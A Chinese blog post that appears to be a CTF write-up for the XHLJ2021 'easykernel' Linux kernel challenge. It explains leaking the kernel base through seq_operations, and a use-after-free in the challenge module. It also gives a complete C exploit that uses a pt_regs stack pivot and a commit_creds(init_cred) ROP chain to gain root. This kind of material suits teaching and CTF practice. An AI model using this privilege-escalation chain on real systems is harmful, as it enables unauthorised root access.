当前位置: 首页 > news >正文

XHLJ2021-easykernel之 seq_operations结合pt_regs

0x01.前置知识:

seq_operations结构体

seq_operations(kmalloc-32 | GFP_KERNEL_ACCOUNT):seq_file 函数表

seq_file会单独从seq_file_cache分配,一般难以控制。其结构体为:

struct seq_file {char *buf;size_t size;size_t from;size_t count;size_t pad_until;loff_t index;loff_t read_pos;struct mutex lock;const struct seq_operations *op;int poll_event;const struct file *file;void *private;
};

而其中seq_operations函数表结构体可以打开/proc/self/stat来获取,
该结构体定义于 /include/linux/seq_file.h 当中,只定义了四个函数指针,如下:

struct seq_operations {void * (*start) (struct seq_file *m, loff_t *pos);void (*stop) (struct seq_file *m, void *v);void * (*next) (struct seq_file *m, void *v, loff_t *pos);int (*show) (struct seq_file *m, void *v);
};

总结

  • 通过open("/proc/self/stat", O_RDONLY)来打开
  • 大小:kmalloc-32
  • 分配flag:GFP_KERNEL_ACCOUNT
  • 泄露内核基地址
  • 不带参数劫持程序控制流(通常搭配pt_regs)

打开方式
以只读方式打开文件/proc/self/stat,申请得到的是seq_operations结构体,注意不是seq_file

利用

数据泄露 - 泄露内核基地址
seq_operations函数表中的第一个函数指针start即为函数single_start函数的地址,可以用于泄露内核基地址:

/ # cat /proc/kallsyms | grep 'single_start'
ffffffffb6c4b160 T single_start

其实其余的同理,即single_stop,single_next,single_show

劫持程序控制流
覆盖seq_operations函数表中的函数指针start

对该结构体调用read,即可以触发seq_operations->start控制程序执行流

注意参数不可控,一般可能需要配合pt_regs等结构体

若需要调试,可以暂停到seq_read_iter函数,其会调用seq_operations->start

struct pt_regs 结构体

对于 pt_regs 结构体可以看我的这篇博客:kernel pwn 入门(四) ret2dir详细

这里需要注意的是:

提权之后借助swapgs_restore_regs_and_return_to_usermode函数中的pop系列来调整栈,即借用了几个栈的位置,就得少几个pop,以本题为例,如图借用了5个栈数据,那么我们最后就得使得该函数少pop5个,即将swapgs_restore_regs_and_return_to_usermode函数的gadget+=9即可。

在这里插入图片描述
如上修改之后就可以当进入到该函数的swapgs的时候,将栈调整至最开始因为syscall而形成的保存pt_regs结构体中的用户态数据的地方,使得提权之后成功返回用户态

struct pt_regs {
//.....................
/* Return frame for iretq */unsigned long rip;unsigned long cs;unsigned long eflags;unsigned long rsp;unsigned long ss;
/* top of stack page */
};

0x02.题目分析

首先查看启动脚本

start.sh

#!/bin/shqemu-system-x86_64  \
-m 64M \
-cpu kvm64,+smep \
-kernel ./bzImage \
-initrd rootfs.img \
-nographic \
-s \
-append "console=ttyS0 kaslr quiet noapic"

开了 SMEPKASLR,意味着不能执行用户态代码

init

#!/bin/shmkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
mdev -s
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"insmod /test.ko
chmod 666 /dev/kerpwn
chmod 740 /flag
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsymspoweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/shumount /proc
umount /tmppoweroff -d 0  -f

正规!!!

逆向分析

在这里插入图片描述
rsi == 0x30的时候是free操作,存在 UAF
rsi == 0x20的时候是alloc操作,只能分配不超过0x20的大小

在这里插入图片描述

比较正常的show函数,和edit函数,由于存在UAF,所以操作的地方很多。

对于alloc函数,我们要传入如下结构体:

struct alloc
{size_t size;void *buf;
};

free函数,传入:

struct delete{size_t idx;
};

其他两个都用下面的结构体:

struct req{size_t idx;size_t size;void *buf;
};

利用

综上分析,我们可以利用UAF漏洞,使得seq_operations占用0x20大小的obj
,然后利用show函数泄露地址,再利用edit函数,修改start的地址为 gadget的地址劫持程序执行流

exp

#include "kernel_pwn.h"size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t kernel_base;
size_t add_rsp_gadget = 0xffffffff8135b0f6; //add    rsp,0x180 ; pop ?? * 5 ; ret
size_t commit_creds = 0xffffffff810c8d40;
size_t init_cred = 0xffffffff82663300;
size_t swapgs_restore_regs_and_r = 0xffffffff81c00f30;
size_t pop_rdi = 0xffffffff81089250;
int fd;
int seq_fd;struct alloc
{size_t size;void *buf;
};struct delete{size_t idx;
};struct req{size_t idx;size_t size;void *buf;
};void add(size_t size,void* data){struct alloc req = {.size = size,.buf = data};binary_dump((char*)&req,0x10,0);ioctl(fd,0x20,&req);
}void del(size_t idx){struct delete del = {.idx = idx};ioctl(fd,0x30,&del);
}void show(size_t idx,size_t size,void* buf){struct req req1 = {.idx = idx,.size = size,.buf = buf};ioctl(fd,0x40,&req1);
}void edit(size_t idx,size_t size,void* buf){struct req req1 = {.idx = idx,.size = size,.buf = buf};ioctl(fd,0x50,&req1);
}int main(){bind_core(0);save_status();size_t rop[0x100] = {0};char data[0x20] = {0};char buf[0x100] = {0};fd = open("/dev/kerpwn",2);if(fd<0){err_exit("fd open failed....");}add(0x20,data); //0del(0);seq_fd = open("/proc/self/stat",O_RDONLY);if (seq_fd < 0){err_exit("seq_id open failed...");}show(0,0x100,buf);binary_dump(buf,0x100,0);size_t single_start_addr = *(size_t*)buf;kernel_base = single_start_addr - 0x319d30;size_t offset = kernel_base - nokalsr_kernel_base;add_rsp_gadget += offset;commit_creds += offset;init_cred += offset;swapgs_restore_regs_and_r += offset+0x9;pop_rdi += offset;show_addr("kernel_base",kernel_base);show_addr("add_rsp_gadget",add_rsp_gadget);show_addr("swapgs_restore_regs_and_r",swapgs_restore_regs_and_r);show_addr("init_cred",init_cred);int idx = 0;rop[idx++] = add_rsp_gadget;edit(0,0x8,rop);show(0,0x20,buf);binary_dump(buf,0x10,0);// sleep(10);__asm__("mov r15,   0xbeefdead;""mov r14,   pop_rdi;""mov r13,   init_cred;""mov r12,   commit_creds;""mov rbp,   swapgs_restore_regs_and_r;""mov rbx,   0x55555555;""mov r11,   0x66666666;""mov r10,   0x77777777;""mov r9,    0x88888888;""mov r8,    0x99999999;""xor rax,   rax;""mov rcx,   0xaaaaaaaa;""mov rdx,   8;""mov rsi,   rsp;""mov rdi,   seq_fd;"      "syscall");get_shell();return 0;
}

gadget如下:

ffffffff8135b0f6:	48 81 c4 80 01 00 00 	add    rsp,0x180
ffffffff8135b0fd:	5b                   	pop    rbx
ffffffff8135b0fe:	41 5c                	pop    r12
ffffffff8135b100:	41 5d                	pop    r13
ffffffff8135b102:	41 5e                	pop    r14
ffffffff8135b104:	5d                   	pop    rbp
ffffffff8135b105:	c3                   	ret 

调试

在这里插入图片描述
Dump后看到seq_operations第一个函数的地址被我们改成了gadget的地址,
执行read函数时,程序被劫持到我们gadget的位置执行。
在这里插入图片描述
最后pt_regs形成如下:
在这里插入图片描述

http://www.dtcms.com/a/607516.html

相关文章:

  • 网站怎么备份wordpress edd插件
  • 出格做网站学生个人网页制作html报告
  • 在 Oracle Data Guard 环境中,手工将备库(Standby)切换为主库(Primary)
  • 网站icp备案证书莱州网络推广公司
  • AI评测趋势一站速览,司南Daily Benchmark专区上线!
  • go语言做的网站动漫设计专业怎么样
  • 优秀企业网站设计要点房子装修价格
  • 什么网站做的好看北京企业建站
  • 天通苑网站建设成都制作网站提供商
  • 学网站开发需要学那些电商网站可维护性
  • 一个空间可以做两个网站吗前端培训机构哪个最好
  • 7.1 Dify开发平台简介:面向零基础人员的Agent开发平台
  • 中国app排行榜优化大师官网下载安装
  • 网站不更新即商通网站建设推广
  • 如皋做网站wordpress注册会员无法收到邮件
  • c语言编译过程五步骤 | 深入解析编译流程的关键环节
  • 网站开发自学时间财务软件定制开发
  • 在线销售型网站做网站要备案
  • 百度网站地址提交网站建设服务 杭州
  • vue做网站首页wordpress 没有分类目录
  • 哪些网站用.ren域名京东商城网上购物京东超市
  • 市场洞察:从品类到买量,解析韩国手游市场出海新机遇
  • C++ 循环结构:控制程序重复执行的核心机制
  • Jetson ORIN NANO SUPER 装机流程
  • 重庆自助模板建站做自己的网站多少钱
  • 邹城做网站asp网站做视频
  • 青岛网站建设迅优企业信息管理系统查询
  • 做网站对程序员说那些需求自己做链接的网站
  • 上海网站制作工作室东莞外贸建站模板
  • Trae 一键换装 Dracula 主题 + 改注释颜色 + 去掉 console.log 多余分号